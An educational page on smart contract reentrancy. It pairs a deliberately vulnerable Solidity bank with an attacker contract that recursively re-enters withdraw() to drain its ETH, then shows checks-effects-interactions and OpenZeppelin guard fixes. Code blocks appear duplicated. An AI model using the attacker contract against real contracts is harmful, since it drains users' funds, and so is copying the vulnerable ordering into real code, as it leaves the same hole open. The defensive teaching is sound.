Reentrancy Attacks
Reentrancy is the most famous smart contract vulnerability, responsible for the $60M DAO hack in 2016. It occurs when external contract calls are made before state updates, allowing recursive draining of funds.
Authorised Targets Only
Vulnerable Contract Example
All four samples target solc 0.8.34.
The exploit needs one precondition — the victim sends ETH with an external call before it debits the
balance — and then it runs as a loop: attack()
deposits 1 ETH and withdraws it; the bank sends ETH to the attacker, which triggers
receive(), which
calls withdraw()
again while the recorded balance is still the pre-withdrawal value. It stops when the bank holds less than
1 ETH.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
// VULNERABLE: Reentrancy attack
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// BAD: External call before state update
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= _amount; // State update AFTER external call
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
// VULNERABLE: Reentrancy attack
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// BAD: External call before state update
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= _amount; // State update AFTER external call
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
interface IVulnerableBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// ATTACKER CONTRACT
contract Attacker {
IVulnerableBank public bank;
constructor(address _bankAddress) {
bank = IVulnerableBank(_bankAddress);
}
// 1. Deposit 1 ETH
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether); // Trigger withdraw
}
// 2. Fallback function called when receiving ETH
// Recursively calls withdraw before balance is updated
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether); // RECURSIVE CALL
}
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
interface IVulnerableBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// ATTACKER CONTRACT
contract Attacker {
IVulnerableBank public bank;
constructor(address _bankAddress) {
bank = IVulnerableBank(_bankAddress);
}
// 1. Deposit 1 ETH
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether); // Trigger withdraw
}
// 2. Fallback function called when receiving ETH
// Recursively calls withdraw before balance is updated
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether); // RECURSIVE CALL
}
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
// SECURE: Checks-Effects-Interactions pattern
contract SecureBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
// 1. CHECKS (validation)
// 2. EFFECTS (state changes FIRST)
balances[msg.sender] -= _amount;
// 3. INTERACTIONS (external calls LAST)
(bool success, ) = msg.sender.call{value: _amount}("");
require(success);
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
// SECURE: Checks-Effects-Interactions pattern
contract SecureBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
// 1. CHECKS (validation)
// 2. EFFECTS (state changes FIRST)
balances[msg.sender] -= _amount;
// 3. INTERACTIONS (external calls LAST)
(bool success, ) = msg.sender.call{value: _amount}("");
require(success);
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
// OpenZeppelin v5 removed the security/ directory. The guard now lives at
// utils/ReentrancyGuard.sol - the old security/ReentrancyGuard.sol path no
// longer exists and will not resolve.
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ProtectedBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public nonReentrant {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
(bool success, ) = msg.sender.call{value: _amount}("");
require(success);
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
// OpenZeppelin v5 removed the security/ directory. The guard now lives at
// utils/ReentrancyGuard.sol - the old security/ReentrancyGuard.sol path no
// longer exists and will not resolve.
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ProtectedBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public nonReentrant {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
(bool success, ) = msg.sender.call{value: _amount}("");
require(success);
}
}The two fixes are not equivalent. Reordering to checks-effects-interactions removes the stale state the second call reads, so it works for every reentrancy-shaped bug you write yourself. A reentrancy guard only blocks re-entry into the guarded function — it does nothing for a cross-function or read-only reentrancy that reaches a differently guarded path, so a guard is a backstop, not a substitute for getting the ordering right.
OpenZeppelin's storage-based guard writes an SSTORE pair on every guarded call. It also ships
ReentrancyGuardTransient
at
@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol,
which uses the EIP-1153 transient-storage opcodes TSTORE and TLOAD at roughly 100 gas each instead. It requires a Cancun-or-later EVM target, so a contract still compiled for shanghai cannot use it. The
trade-off is the one the Solidity team documents: transient storage is cleared at the end of the transaction, not
at the end of the call, and a guard that skips its own reset as a gas saving leaves the lock set for every later
call in the same transaction.
The DAO Hack (2016)
Prevention Methods
- Checks-Effects-Interactions: Update state before external calls
- ReentrancyGuard: Use OpenZeppelin's nonReentrant modifier (v5 path:
@openzeppelin/contracts/utils/ReentrancyGuard.sol) - Pull over Push: Let users withdraw instead of sending automatically
- Mutex Lock: Use boolean flag to prevent reentry
Related Topics
Solidity Security
The authorisation and external-call patterns that decide whether reentrancy is reachable at all.
Auditing
How to systematically find external-call-before-state-update ordering across a whole codebase.
DeFi Attacks
The single-transaction economics that turn a reentrancy into a fund-draining flash loan.